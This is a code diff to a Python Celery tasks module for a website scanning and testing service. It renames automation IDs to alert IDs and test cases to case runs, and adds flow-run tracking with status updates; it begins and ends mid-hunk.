-        'task_id'       : str
+        'alert_id'      : str,
+        'task_id'       : str,
+        'flowrun_id'    : str,
+        'node_index     : str
     }
 
     Returns -> None
@@ -701,8 +736,10 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     type = kwargs.get('type')
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
-    automation_id = kwargs.get('automation_id')
+    alert_id = kwargs.get('alert_id')
     task_id = kwargs.get('task_id')
+    flowrun_id = kwargs.get('flowrun_id')
+    node_index = kwargs.get('node_index')
 
     # checking location
     if not check_location(configs.get('location', settings.LOCATION)):
@@ -712,6 +749,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     # setting defaults
     pages = []
     sites = []
+    objects = []
 
     # get account if account_id exists
     if account_id:
@@ -755,33 +793,59 @@ def create_scan_bg(self, *args, **kwargs) -> None:
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
 
+            # create Scan obj
+            scan = Scan.objects.create(
+                site=page.site,
+                page=page,
+                type=type,
+                tags=tags,
+                configs=configs,
+            )
+
             # updating latest_scan info for page
-            page.info['latest_scan']['id'] = 'placeholder'
-            page.info['latest_scan']['time_created'] = str(timezone.now())
+            page.info['latest_scan']['id'] = str(scan.id)
+            page.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
             page.info['latest_scan']['time_completed'] = None
             page.info['latest_scan']['score'] = None
             page.info['latest_scan']['score'] = None
             page.save()
 
             # updating latest_scan info for site
-            page.site.info['latest_scan']['id'] = 'placeholder'
-            page.site.info['latest_scan']['time_created'] = str(timezone.now())
+            page.site.info['latest_scan']['id'] = str(scan.id)
+            page.site.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
             page.site.info['latest_scan']['time_completed'] = None
             page.site.save()
 
-            # init scan in bg
-            create_scan.delay(
-                page_id=str(page.id),
-                type=type,
+            # adding objects
+            objects.append({
+                'parent': str(scan.page.id),
+                'id': str(scan.id),
+                'status': 'working'
+            })
+
+            # init scan page in background
+            scan_page_bg.delay(
+                scan_id=str(scan.id),
+                alert_id=alert_id,
                 configs=configs,
-                tags=tags,
-                automation_id=automation_id
+                flowrun_id=flowrun_id,
+                node_index=node_index
             )
+        
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'objects': objects,
+            'node_status': 'working' if len(objects) > 0 else 'failed',
+            'message': f'starting {len(objects)} scans for {page.site.site_url} | run_id: {flowrun_id}'
+        })
     
     # update schedule if task_id is not None
     if task_id:
         try:
-            last_run = timezone.now()
+            last_run = datetime.now(timezone.utc)
             Schedule.objects.filter(periodic_task_id=task_id).update(
                 time_last_run=last_run
             )
@@ -799,16 +863,20 @@ def run_html_and_logs_bg(
         self, 
         scan_id: str=None, 
         test_id: str=None, 
-        automation_id: str=None, 
+        alert_id: str=None, 
+        flowrun_id: str=None,
+        node_index: str=None,
         **kwargs
     ) -> None:
     """ 
     Runs the html & logs components of the passed `Scan`
 
     Expects: {
-        scan_id         : str, 
-        test_id         : str, 
-        automation_id   : str,
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str,
         **kwargs
     }
     
@@ -816,13 +884,15 @@ def run_html_and_logs_bg(
     """
 
     # sleeping random for DB 
-    time.sleep(random.uniform(0.1, 3))
+    time.sleep(random.uniform(2, 6))
 
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
         test_id = kwargs.get('test_id')
-        automation_id = kwargs.get('automation_id')
+        alert_id = kwargs.get('alert_id')
+        flowrun_id = kwargs.get('flowrun_id')
+        node_index = kwargs.get('node_index')
    
     # save sys data
     record_task(
@@ -833,12 +903,14 @@ def run_html_and_logs_bg(
         kwargs={
             'scan_id': str(scan_id) if scan_id is not None else None,
             'test_id': str(test_id) if test_id is not None else None, 
-            'automation_id': str(automation_id) if automation_id is not None else None
+            'alert_id': str(alert_id) if alert_id is not None else None,
+            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+            'node_index': str(node_index) if node_index is not None else None
         }
     )
     
     # run html and logs component
-    _html_and_logs(scan_id, test_id, automation_id)
+    _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran html & logs component')
     return None
@@ -851,16 +923,20 @@ def run_vrt_bg(
         self, 
         scan_id: str=None, 
         test_id: str=None, 
-        automation_id: str=None, 
+        alert_id: str=None, 
+        flowrun_id: str=None,
+        node_index: str=None,
         **kwargs
     ) -> None:
     """ 
     Runs the VRT component of the passed `Scan`
 
     Expects: {
-        scan_id         : str, 
-        test_id         : str, 
-        automation_id   : str,
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str,
         **kwargs
     }
     
@@ -868,13 +944,15 @@ def run_vrt_bg(
     """
 
     # sleeping random for DB 
-    time.sleep(random.uniform(0.1, 3))
+    time.sleep(random.uniform(2, 6))
 
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
         test_id = kwargs.get('test_id')
-        automation_id = kwargs.get('automation_id')
+        alert_id = kwargs.get('alert_id')
+        flowrun_id = kwargs.get('flowrun_id')
+        node_index = kwargs.get('node_index')
    
     # save sys data
     record_task(
@@ -885,12 +963,14 @@ def run_vrt_bg(
         kwargs={
             'scan_id': str(scan_id) if scan_id is not None else None,
             'test_id': str(test_id) if test_id is not None else None, 
-            'automation_id': str(automation_id) if automation_id is not None else None
+            'alert_id': str(alert_id) if alert_id is not None else None,
+            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+            'node_index': str(node_index) if node_index is not None else None
         }
     )
 
     # run VRT component
-    _vrt(scan_id, test_id, automation_id)
+    _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran vrt component')
     return None
@@ -903,16 +983,20 @@ def run_lighthouse_bg(
         self, 
         scan_id: str=None, 
         test_id: str=None, 
-        automation_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None,
+        node_index: str=None, 
         **kwargs
     ) -> None:
     """ 
     Runs the lighthouse component of the passed `Scan`
 
     Expects: {
-        scan_id         : str, 
-        test_id         : str, 
-        automation_id   : str,
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str,
         **kwargs
     }
     
@@ -920,13 +1004,15 @@ def run_lighthouse_bg(
     """
 
     # sleeping random for DB 
-    time.sleep(random.uniform(0.1, 3))
+    time.sleep(random.uniform(2, 6))
 
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
         test_id = kwargs.get('test_id')
-        automation_id = kwargs.get('automation_id')
+        alert_id = kwargs.get('alert_id')
+        flowrun_id = kwargs.get('flowrun_id')
+        node_index = kwargs.get('node_index')
    
     # save sys data
     record_task(
@@ -937,12 +1023,14 @@ def run_lighthouse_bg(
         kwargs={
             'scan_id': str(scan_id) if scan_id is not None else None,
             'test_id': str(test_id) if test_id is not None else None, 
-            'automation_id': str(automation_id) if automation_id is not None else None
+            'alert_id': str(alert_id) if alert_id is not None else None,
+            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+            'node_index': str(node_index) if node_index is not None else None
         }
     )
 
     # run lighthouse component
-    _lighthouse(scan_id, test_id, automation_id)
+    _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran lighthouse component')
     return None
@@ -955,16 +1043,20 @@ def run_yellowlab_bg(
         self, 
         scan_id: str=None, 
         test_id: str=None, 
-        automation_id: str=None, 
+        alert_id: str=None, 
+        flowrun_id: str=None,
+        node_index: str=None,
         **kwargs
     ) -> None:
     """ 
     Runs the yellowlab component of the passed `Scan`
 
     Expects: {
-        scan_id         : str, 
-        test_id         : str, 
-        automation_id   : str,
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str,
         **kwargs
     }
     
@@ -972,13 +1064,15 @@ def run_yellowlab_bg(
     """
 
     # sleeping random for DB 
-    time.sleep(random.uniform(0.1, 3))
+    time.sleep(random.uniform(2, 6))
 
     # get kwargs data if no scan_id
     if scan_id is None:
         scan_id = kwargs.get('scan_id')
         test_id = kwargs.get('test_id')
-        automation_id = kwargs.get('automation_id')
+        alert_id = kwargs.get('alert_id')
+        flowrun_id = kwargs.get('flowrun_id')
+        node_index = kwargs.get('node_index')
    
     # save sys data
     record_task(
@@ -989,12 +1083,14 @@ def run_yellowlab_bg(
         kwargs={
             'scan_id': str(scan_id) if scan_id is not None else None,
             'test_id': str(test_id) if test_id is not None else None, 
-            'automation_id': str(automation_id) if automation_id is not None else None
+            'alert_id': str(alert_id) if alert_id is not None else None,
+            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+            'node_index': str(node_index) if node_index is not None else None
         }
     )
 
     # run yellowlab component
-    _yellowlab(scan_id, test_id, automation_id)
+    _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran yellowlab component')
     return None
@@ -1003,14 +1099,14 @@ def run_yellowlab_bg(
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_test(self, test_id: str, automation_id: str=None) -> None:
+def run_test(self, test_id: str, alert_id: str=None) -> None:
     """ 
-    Helped function to shorted the code base 
+    Helper function to shorted the code base 
     when creating a `Test`.
 
     Expects: {
-        test_id         : str, 
-        automation_id   : str
+        test_id    : str, 
+        alert_id   : str
     }
     
     Returns -> None
@@ -1020,9 +1116,9 @@ def run_test(self, test_id: str, automation_id: str=None) -> None:
 
     # execute test
     test = T(test=test).run_test()
-    if automation_id:
-        print('running automation from `task.run_test`')
-        Automater(automation_id, test.id).run_automation()
+    if alert_id:
+        print('running alert from `task.run_test`')
+        Alerter(alert_id, test.id).run_alert()
 
     logger.info('Test completed')
     return None
@@ -1035,7 +1131,7 @@ def create_test(
         self,
         test_id: str=None,
         page_id: str=None, 
-        automation_id: str=None, 
+        alert_id: str=None, 
         configs: dict=settings.CONFIGS, 
         type: list=settings.TYPES,
         index: int=None,
@@ -1043,22 +1139,26 @@ def create_test(
         post_scan: str=None,
         tags: list=None,
         threshold: float=settings.TEST_THRESHOLD,
+        flowrun_id: str=None,
+        node_index: str=None
     ) -> None:
     """ 
     Creates a `post_scan` if necessary, waits for completion,
     and runs a `Test`
 
     Expects: {
-        test_id       : str,
-        page_id       : str, 
-        automation_id : str, 
-        configs       : dict, 
-        type          : list,
-        index         : int,
-        pre_scan      : str,
-        post_scan     : str,
-        tags          : list,
-        threshold     : float,
+        test_id     : str,
+        page_id     : str, 
+        alert_id    : str, 
+        configs     : dict, 
+        type        : list,
+        index       : int,
+        pre_scan    : str,
+        post_scan   : str,
+        tags        : list,
+        threshold   : float,
+        flowrun_id  : str,
+        node_index  : str
     }
     
     Returns -> None
@@ -1066,6 +1166,7 @@ def create_test(
 
     # setting defaults
     created_test = None
+    objects = []
 
     # get or create a Test
     if test_id is not None:
@@ -1082,6 +1183,13 @@ def create_test(
             status='working'
         )
 
+    # adding objects
+    objects.append({
+        'parent': str(page.id),
+        'id': str(created_test.id),
+        'status': 'working'
+    })
+
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -1105,6 +1213,18 @@ def create_test(
                     configs=configs,
                 )
 
+                # update flowrun
+                if flowrun_id and flowrun_id != 'None':
+                    update_flowrun(**{
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index,
+                        'objects': objects,
+                        'message': (
+                            f'❌ test for {page.page_url} could not start because there was '+
+                            f'no pre_scan available - starting new scan instead'
+                        )
+                    })
+
                 # remove created_test
                 created_test.delete()
 
@@ -1122,6 +1242,21 @@ def create_test(
         # check and increment resources
         if not check_and_increment_resource(page.account, 'scans'):
             
+            # update obects
+            objects[-1]['status'] = 'failed'
+
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                update_flowrun(**{
+                    'flowrun_id': flowrun_id,
+                    'node_index': node_index,
+                    'objects': objects,
+                    'message': (
+                        f'❌ test for {page.page_url} could not start because this account has reached '+
+                        f'max_allowed_scans for this billing cycle'
+                    )
+                })
+
             # remove created_test
             created_test.delete()
 
@@ -1142,9 +1277,23 @@ def create_test(
         scan_page_bg.delay(
             scan_id=post_scan.id, 
             test_id=created_test.id,
-            automation_id=automation_id,
+            alert_id=alert_id,
             configs=configs,
+            flowrun_id=flowrun_id,
+            node_index=node_index
         )
+
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'objects': objects,
+                'message': (
+                    f'test starting for {page.page_url} | '+
+                    f'run_id: {flowrun_id}'
+                )
+            })
         
     # updating parired scans
     pre_scan.paired_scan = post_scan
@@ -1160,7 +1309,7 @@ def create_test(
 
     # check if pre and post scan are complete and start test if True
     if pre_scan.time_completed is not None and post_scan.time_completed is not None:
-        run_test.delay(test_id=created_test.id, automation_id=automation_id)
+        run_test.delay(test_id=created_test.id, alert_id=alert_id)
     
     logger.info('Began Scan/Test process')
     return None
@@ -1182,11 +1331,13 @@ def create_test_bg(self, *args, **kwargs) -> None:
         type          : list
         configs       : dict
         tags          : list
-        automation_id : str
+        alert_id      : str
         pre_scan      : str
         post_scan     : str
         threshold     : float
         task_id       : str
+        flowrun_id    : str
+        node_index    : str
     }
     
     Returns -> None
@@ -1201,10 +1352,12 @@ def create_test_bg(self, *args, **kwargs) -> None:
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
     threshold = kwargs.get('threshold')
-    automation_id = kwargs.get('automation_id')
+    alert_id = kwargs.get('alert_id')
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
     task_id = kwargs.get('task_id')
+    flowrun_id = kwargs.get('flowrun_id')
+    node_index = kwargs.get('node_index')
 
     # checking location
     if not check_location(configs.get('location', settings.LOCATION)):
@@ -1217,6 +1370,8 @@ def create_test_bg(self, *args, **kwargs) -> None:
         # setting defaults
         pages = []
         sites = []
+        objects = []
+        failed = 0
 
         # get account if account_id exists
         if account_id:
@@ -1256,12 +1411,19 @@ def create_test_bg(self, *args, **kwargs) -> None:
         
         # create a test for each page
         for page in pages:
+            
+            objects.append({
+                'parent': str(page.id),
+                'id': None,
+                'status': 'working'
+            })
+
             # check resource 
             if check_and_increment_resource(page.account, 'tests'):
 
                 # updating latest_test info for page
                 page.info['latest_test']['id'] = 'placeholder'
-                page.info['latest_test']['time_created'] = str(timezone.now())
+                page.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
                 page.info['latest_test']['time_completed'] = None
                 page.info['latest_test']['score'] = None
                 page.info['latest_test']['status'] = 'working'
@@ -1269,7 +1431,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
                 # updating latest_test info for site
                 page.site.info['latest_test']['id'] = 'placeholder'
-                page.site.info['latest_test']['time_created'] = str(timezone.now())
+                page.site.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
                 page.site.info['latest_test']['time_completed'] = None
                 page.site.info['latest_test']['score'] = None
                 page.site.info['latest_test']['status'] = 'working'
@@ -1284,8 +1446,38 @@ def create_test_bg(self, *args, **kwargs) -> None:
                     threshold=float(threshold),
                     pre_scan=pre_scan,
                     post_scan=post_scan,
-                    automation_id=automation_id
+                    alert_id=str(alert_id),
+                    flowrun_id=str(flowrun_id),
+                    node_index=node_index
                 )
+            
+            else:
+                # update flowrun
+                if flowrun_id and flowrun_id != 'None':
+                    update_flowrun(**{
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index,
+                        'message': (
+                            f'❌ test for {page.page_url} could not start because this account has reached '+
+                            f'max_allowed_tests for this billing cycle'
+                        )
+                    })
+                
+                # update last object
+                failed += 1
+                objects[-1]['status'] = 'failed'
+                logger.info('maxed tests reached')
+                return None
+
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'objects': objects,
+                'node_status': 'working',
+                'message': f'created {str(len(objects) - failed)} tests for {page.site.site_url} | run_id: {flowrun_id}'
+            })
     
     # get test and run 
     if test_id:
@@ -1299,13 +1491,15 @@ def create_test_bg(self, *args, **kwargs) -> None:
             threshold=float(threshold),
             pre_scan=pre_scan,
             post_scan=post_scan,
-            automation_id=str(automation_id)
+            alert_id=str(alert_id),
+            flowrun_id=str(flowrun_id),
+            node_index=node_index
         )
 
     # update schedule if task_id is not None
     if task_id:
         try:
-            last_run = timezone.now()
+            last_run = datetime.now(timezone.utc)
             Schedule.objects.filter(periodic_task_id=task_id).update(
                 time_last_run=last_run
             )
@@ -1319,14 +1513,21 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
 
 @shared_task
-def create_report(page_id: str=None, automation_id: str=None) -> None:
+def create_report(
+        page_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> None:
     """ 
     Generates a new PDF `Report` of the requested `Page`
-    and runs the associated `Automation` if requested
+    and runs the associated `Alert` if requested
 
     Expcets: {
         page_id       : str, 
-        automation_id : str
+        alert_id      : str,
+        flowrun_id    : str
+        node_index    : str
     }
     
     Returns -> None
@@ -1335,30 +1536,40 @@ def create_report(page_id: str=None, automation_id: str=None) -> None:
     # get page
     page = Page.objects.get(id=page_id)
     
-    # check if report exists
-    if Report.objects.filter(page=page).exists():
-        report = Report.objects.filter(page=page).order_by('-time_created')[0]
-    
-    # create new report obj
-    else:
-        info = {
-            "text_color": '#24262d',
-            "background_color": '#e1effd',
-            "highlight_color": '#ffffff',
-        }
-        report = Report.objects.create(
-            user=page.user,
-            site=page.site,
-            account=page.account,
-            page=page,
-            info=info,
-            type=['lighthouse', 'yellowlab']
-        )
+    # create report obj
+    info = {
+        "text_color": '#24262d',
+        "background_color": '#e1effd',
+        "highlight_color": '#ffffff',
+    }
+    report = Report.objects.create(
+        user=page.user,
+        site=page.site,
+        account=page.account,
+        page=page,
+        info=info,
+        type=['lighthouse', 'yellowlab']
+    )
     
     # generate report PDF
-    R(report=report).generate_report()
-    if automation_id:
-        Automater(automation_id, str(report.id)).run_automation()
+    resp = R(report=report).generate_report()
+    
+    # run alert
+    if alert_id:
+        Alerter(alert_id, str(report.id)).run_alert()
+
+    # update flowrun 
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'report {'created' if  resp['success'] else 'not created'} for {page.page_url} | report_id: {str(report.id)}',
+            'objects': [{
+                'parent': str(page.id),
+                'id': str(report.id),
+                'status': 'passed' if resp['success'] else 'failed'
+            }]
+        })
     
     logger.info('Created new report of page')
     return None
@@ -1375,8 +1586,10 @@ def create_report_bg(*args, **kwargs) -> None:
         'scope'         : str,
         'resources'     : str
         'account_id'    : str
-        'automation_id' : str
+        'alert_id'      : str
         'task_id'       : str
+        'flowrun_id'    : str
+        'node_index'    : str
     }
      
     Returns -> None
@@ -1386,12 +1599,15 @@ def create_report_bg(*args, **kwargs) -> None:
     scope = kwargs.get('scope')
     resources = kwargs.get('resources', [])
     account_id = kwargs.get('account_id')
-    automation_id = kwargs.get('automation_id')
+    alert_id = kwargs.get('alert_id')
     task_id = kwargs.get('task_id')
+    flowrun_id = kwargs.get('flowrun_id')
+    node_index = kwargs.get('node_index')
 
     # setting defaults
     pages = []
     sites = []
+    objects = []
 
     # get account if account_id exists
     if account_id:
@@ -1429,17 +1645,42 @@ def create_report_bg(*args, **kwargs) -> None:
     for site in sites:
         pages += Page.objects.filter(site=site)
 
+    # record objects for each report
+    for page in pages:
+
+        objects.append({
+            'parent': str(page.id),
+            'id': None,
+            'status': 'working'
+        })
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'objects': objects,
+            'node_status': 'working',
+            'message': f'starting {str(len(objects))} reports for {page.site.site_url} | run_id: {flowrun_id}'
+        })
+
     # create reports for each page
     for page in pages:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+
         create_report.delay(
             page_id=page.id,
-            automation_id=automation_id
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index
         )
     
     # update schedule if task_id is not None
     if task_id:
         try:
-            last_run = timezone.now()
+            last_run = datetime.now(timezone.utc)
             Schedule.objects.filter(periodic_task_id=task_id).update(
                 time_last_run=last_run
             )
@@ -1477,6 +1718,11 @@ def create_auto_cases_bg(
     Returns -> None
     """
 
+    # checking location
+    if not check_location(configs.get('location', settings.LOCATION)):
+        logger.info('Not running due to location param')
+        return None
+
     # get objects
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
@@ -1537,67 +1783,79 @@ def case_pre_run_bg(
 
 
 @shared_task
-def run_testcase(
-        testcase_id: str=None, 
-        automation_id: str=None,
+def run_case(
+        caserun_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None,
+        node_index: str=None
     ) -> None:
     """
-    Runs a Testcase.
+    Runs a CaseRun.
 
     Expects: {
-        testcase_id   : str, 
-        automation_id : str,
+        caserun_id  : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str
     }
     
     Returns -> None
     """
     
-    # get testcase
-    testcase = Testcase.objects.get(id=testcase_id)
+    # get caserun
+    caserun = CaseRun.objects.get(id=caserun_id)
 
-    # running testcase
-    testresult = Caser(testcase=testcase).run()
+    # running caserun
+    Caser(
+        caserun=caserun,
+        flowrun_id=flowrun_id,
+        node_index=node_index
+    ).run()
 
-    # run automation if requested
-    if automation_id:
-        Automater(automation_id, str(testcase.id)).run_automation()
+    # run alert if requested
+    if alert_id:
+        Alerter(alert_id, str(caserun.id)).run_alert()
 
-    logger.info('Ran Testcase')
+    logger.info('Ran CaseRun')
     return None
 
 
 
 
 @shared_task
-def create_testcase_bg(*args, **kwargs) -> None:
+def create_caserun_bg(*args, **kwargs) -> None:
     """ 
-    Creates and or runs a Testcase.
+    Creates and or runs a CaseRun.
 
     Expects: {
-        testcase_id   : str, 
+        caserun_id    : str, 
         resources     : list, 
         scope         : str, 
         account_id    : str, 
         case_id       : str, 
         updates       : list, 
-        automation_id : str,
+        alert_id      : str,
         configs       : dict,
-        task_id       : str
+        task_id       : str,
+        flowrun_id    : str,
+        node_index    : str
     }
     
     Returns -> None
     """
 
     # get data
-    testcase_id = kwargs.get('testcase_id')
+    caserun_id = kwargs.get('caserun_id')
     case_id = kwargs.get('case_id')
     account_id = kwargs.get('account_id')
     resources = kwargs.get('resources', [])
     scope = kwargs.get('scope')
     updates = kwargs.get('updates')
-    automation_id = kwargs.get('automation_id')
+    alert_id = kwargs.get('alert_id')
     task_id = kwargs.get('task_id')
     configs = kwargs.get('configs', settings.CONFIGS)
+    flowrun_id = kwargs.get('flowrun_id')
+    node_index = kwargs.get('node_index')
 
     # checking location
     if not check_location(configs.get('location', settings.LOCATION)):
@@ -1607,8 +1865,9 @@ def create_testcase_bg(*args, **kwargs) -> None:
     # settign defaults 
     case = None
     steps = None
-    testcases = []
+    caseruns = []
     sites = []
+    objects = []
 
     # get case
     if case_id:
@@ -1635,12 +1894,12 @@ def create_testcase_bg(*args, **kwargs) -> None:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
 
-    # getting testcase
-    if testcase_id:
-        testcases = [Testcase.objects.get(id=testcase_id),]
+    # getting caserun
+    if caserun_id:
+        caseruns = [CaseRun.objects.get(id=caserun_id),]
     
-    # creating testcase from case
-    if testcase_id is None:
+    # creating caserun from case
+    if caserun_id is None:
         
         # getting all sites in resources
         for item in resources:
@@ -1660,12 +1919,12 @@ def create_testcase_bg(*args, **kwargs) -> None:
         for site in sites:
 
             # check and increment resource
-            if check_and_increment_resource(site.account, 'testcases'):
+            if check_and_increment_resource(site.account, 'caseruns'):
     
-                # create new testcase
-                _testcase = Testcase.objects.create(
+                # create new caserun
+                caserun = CaseRun.objects.create(
                     case = case,
-                    case_name = case.name,
+                    title = case.title,
                     site = site,
                     user = site.user,
                     account = site.account,
@@ -1674,28 +1933,181 @@ def create_testcase_bg(*args, **kwargs) -> None:
                 )
 
                 # add to list
-                testcases.append(
-                    _testcase
-                )
+                caseruns.append(caserun)
+
+                # add to objects
+                objects.append({
+                    'parent': str(site.id),
+                    'id': str(caserun.id),
+                    'status': 'working'
+                })
+            
+            else:
+                # update flowrun if not able to contiune
+                if flowrun_id and flowrun_id != 'None':
+                    update_flowrun(**{
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index,
+                        'node_status': 'failed',
+                        'message': (
+                            f'❌ case run could not start because this account has reached '+
+                            f'max_allowed_caseruns for this billing cycle'
+                        )
+                    })
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'node_status': 'working',
+            'objects': objects
+        })
 
-    # iterate through testcases and run
-    for testcase in testcases:
-        run_testcase.delay(
-            testcase_id=str(testcase.id),
-            automation_id=automation_id
+    # iterate through caseruns and run
+    for caserun in caseruns:
+        run_case.delay(
+            caserun_id=str(caserun.id),
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index
         )
+
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = datetime.now(timezone.utc)
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+
+    logger.info('Created CaseRuns')
+    return None
+
+
+
+
+@shared_task
+def create_flowrun_bg(*args, **kwargs) -> None:
+    """ 
+    Creates and runs a FlowRun.
+
+    Expects: {
+        flow_id       : str, 
+        resources     : list, 
+        scope         : str, 
+        account_id    : str, 
+        alert_id      : str,
+        configs       : dict,
+        task_id       : str
+    }
     
+    Returns -> None
+    """
+
+    # get data
+    flow_id = kwargs.get('flow_id')
+    account_id = kwargs.get('account_id')
+    resources = kwargs.get('resources', [])
+    scope = kwargs.get('scope')
+    alert_id = kwargs.get('alert_id')
+    task_id = kwargs.get('task_id')
+    configs = kwargs.get('configs', settings.CONFIGS)
+
+    # checking location
+    if not check_location(configs.get('location', settings.LOCATION)):
+        logger.info('Not running due to location param')
+        return None
+
+    # settign defaults 
+    flow = None
+    sites = []
+
+    # get flow
+    if flow_id:
+        flow = Flow.objects.get(id=flow_id)
+
+    # getting all sites in resources
+    for item in resources:
+        if item['type'] == 'site':
+            try:
+                sites.append(
+                    Site.objects.get(id=item['id'])
+                )
+            except Exception as e:
+                print(e)
+    
+    # add all sites in account if scope == 'account'
+    if scope == 'account' and len(resources) == 0:
+        sites = Site.objects.filter(account__id=account_id)
+
+    # iterate through sites
+    for site in sites:
+
+        # check and increment resource
+        if check_and_increment_resource(site.account, 'flowruns'):
+
+            # set flowrun_id
+            flowrun_id = uuid.uuid4()
+
+            # update nodes
+            _nodes = flow.nodes
+            for i in range(len(_nodes)):
+                _nodes[i]['data']['status'] = 'queued'
+                _nodes[i]['data']['finalized'] = False
+                _nodes[i]['data']['time_started'] = None
+                _nodes[i]['data']['time_completed'] = None
+                _nodes[i]['data']['alert_id'] = alert_id
+                _nodes[i]['data']['objects'] = []
+
+            # updates edges
+            _edges = flow.edges
+            for i in range(len(_edges)):
+                _edges[i]['animated'] = False
+                _edges[i]['style'] = None
+
+            # create init log
+            logs = [{
+                'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+                'message': f'system starting up for run_id: {str(flowrun_id)}',
+                'step': '1'
+            },]
+
+            # create flowrun
+            flowrun = FlowRun.objects.create(
+                id      = flowrun_id,
+                flow    = flow,
+                user    = flow.user,
+                account = flow.account,
+                site    = site,
+                title   = flow.title,
+                nodes   = _nodes,
+                edges   = _edges,
+                logs    = logs,
+                configs = configs
+            )
+
+            # update flow with time_last_run
+            flow = Flow.objects.get(id=flow_id)
+            flow.time_last_run = datetime.now(timezone.utc)
+            flow.save()
+        
+        else:
+            logger.info('max flowruns reached')
+
     # update schedule if task_id is not None
     if task_id:
         try:
-            last_run = timezone.now()
+            last_run = datetime.now(timezone.utc)
             Schedule.objects.filter(periodic_task_id=task_id).update(
                 time_last_run=last_run
             )
         except Exception as e:
             print(e)
 
-    logger.info('Created Testcases')
+    logger.info('Created FlowRuns')
     return None
 
 
@@ -1811,13 +2223,13 @@ def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
 
 
 @shared_task
-def delete_testcase_s3_bg(testcase_id: str) -> None:
+def delete_caserun_s3_bg(caserun_id: str) -> None:
     """
     Deletes the directory in s3 bucked associated 
     with passed test
 
     Expects: {
-        'testcase_id': str,
+        'caserun_id': str,
     }
 
     Returns -> None
@@ -1826,11 +2238,11 @@ def delete_testcase_s3_bg(testcase_id: str) -> None:
     # deleting s3 objects
     try:
         bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
+        bucket.objects.filter(Prefix=str(f'static/caserun/{caserun_id}/')).delete()
     except:
         pass
 
-    logger.info('Deleted testcase s3 objects')
+    logger.info('Deleted caserun s3 objects')
     return None
 
 
@@ -1949,12 +2361,21 @@ def reset_account_usage(account_id: str=None) -> None:
     # setting format for today
     f = '%Y-%m-%d %H:%M:%S.%f'
 
-    # reset account.ussage
-    def reset_usage(account):
+    # reset account.usage
+    def reset_usage(account, timestamp) -> None:
+        # update usage
         account.usage['scans'] = 0
         account.usage['tests'] = 0
-        account.usage['testcases'] = 0
+        account.usage['caseruns'] = 0
+        account.usage['flowruns'] = 0
+        account.usage['flowruns_allowed'] = 5 # TODO: remove after manual update
+        # update meta
+        meta = account.meta
